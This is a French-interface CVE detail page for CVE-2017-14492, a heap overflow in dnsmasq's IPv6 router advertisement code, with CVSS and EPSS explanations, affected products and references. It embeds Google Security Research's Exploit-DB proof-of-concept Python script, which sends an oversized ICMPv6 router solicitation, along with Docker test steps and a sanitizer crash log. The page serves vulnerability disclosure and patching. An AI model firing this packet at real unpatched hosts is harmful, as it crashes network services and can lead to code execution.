CVE-2017-14492 : Détail

CVE-2017-14492

9.8
/
Critique
Overflow
95.91%V3
Network
2017-10-02
19h00 +00:00
2018-03-03
09h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Heap-based buffer overflow in dnsmasq before 2.78 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a crafted IPv6 router advertisement request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42942

Date de publication : 2017-10-01 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14492.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 1) Build the docker and open two terminals docker build -t dnsmasq . docker run --rm -t -i --name dnsmasq_test dnsmasq bash docker cp poc.py dnsmasq_test:/poc.py docker exec -it <container_id> bash 2) On one terminal start dnsmasq: # /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff --enable-ra dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h dnsmasq-dhcp: router advertisement on fd00:: dnsmasq-dhcp: IPv6 router advertisement enabled dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 8.8.4.4#53 dnsmasq: read /etc/hosts - 7 addresses 3) On another terminal start the PoC: # python /poc.py ::1 547 [+] sending 2050 bytes to ::1 4) Dnsmasq will output the following: Segmentation fault (core dumped) ==556==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000ea81 at pc 0x00000049628a bp 0x7ffd60a28a20 sp 0x7ffd60a281d0 WRITE of size 4 at 0x61900000ea81 thread T0 #0 0x496289 in __interceptor_vsprintf (/test/dnsmasq/src/dnsmasq+0x496289) #1 0x4964d2 in __interceptor_sprintf (/test/dnsmasq/src/dnsmasq+0x4964d2) #2 0x519538 in print_mac /test/dnsmasq/src/util.c:593:12 #3 0x586e6a in icmp6_packet /test/dnsmasq/src/radv.c:201:4 #4 0x544af4 in main /test/dnsmasq/src/dnsmasq.c:1064:2 #5 0x7f0d52e312b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x61900000ea81 is located 0 bytes to the right of 1025-byte region [0x61900000e680,0x61900000ea81) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x51cb14 in read_opts /test/dnsmasq/src/option.c:4615:16 #3 0x541783 in main /test/dnsmasq/src/dnsmasq.c:89:3 #4 0x7f0d52e312b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: heap-buffer-overflow (/test/dnsmasq/src/dnsmasq+0x496289) in __interceptor_vsprintf Shadow bytes around the buggy address: 0x0c327fff9d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c327fff9d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c327fff9d50:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c327fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==556==ABORTING ''' #!/usr/bin/env python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Felix Wilhelm <[email protected]> # Gabriel Campana <[email protected]> # Kevin Hamacher <[email protected]> # Gynvael Coldwind <[email protected]> # Ron Bowes - Xoogler :/ from struct import pack import socket import sys ND_ROUTER_SOLICIT = 133 ICMP6_OPT_SOURCE_MAC = 1 def u8(x): return pack("B", x) def send_packet(data, host): print("[+] sending {} bytes to {}".format(len(data), host)) s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, 0)) != len(data): print("[!] Could not send (full) payload") s.close() if __name__ == '__main__': assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0]) host, = sys.argv[1:] pkg = b"".join([ u8(ND_ROUTER_SOLICIT), # type u8(0), # code b"X" * 2, # checksum b"\x00" * 4, # reserved u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac u8(255), # Have 255 MACs! b"A" * 255 * 8, ]) send_packet(pkg, host)

Products Mentioned

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.04

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 7.1

Debian>>Debian_linux >> Version 9.0

Novell>>Leap >> Version 42.2

    Novell>>Leap >> Version 42.3

      Redhat>>Enterprise_linux_desktop >> Version 7.0

      Redhat>>Enterprise_linux_server >> Version 7.0

      Redhat>>Enterprise_linux_workstation >> Version 7.0

      Configuraton 0

      Thekelleys>>Dnsmasq >> Version To (including) 2.77

      Références

      http://www.securitytracker.com/id/1039474
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.debian.org/security/2017/dsa-3989
      Tags : vendor-advisory, x_refsource_DEBIAN
      http://www.securityfocus.com/bid/101085
      Tags : vdb-entry, x_refsource_BID
      http://www.ubuntu.com/usn/USN-3430-1
      Tags : vendor-advisory, x_refsource_UBUNTU
      https://www.kb.cert.org/vuls/id/973527
      Tags : third-party-advisory, x_refsource_CERT-VN
      https://security.gentoo.org/glsa/201710-27
      Tags : vendor-advisory, x_refsource_GENTOO
      http://www.ubuntu.com/usn/USN-3430-2
      Tags : vendor-advisory, x_refsource_UBUNTU
      https://www.exploit-db.com/exploits/42942/
      Tags : exploit, x_refsource_EXPLOIT-DB
      https://access.redhat.com/errata/RHSA-2017:2836
      Tags : vendor-advisory, x_refsource_REDHAT
      https://access.redhat.com/errata/RHSA-2017:2837
      Tags : vendor-advisory, x_refsource_REDHAT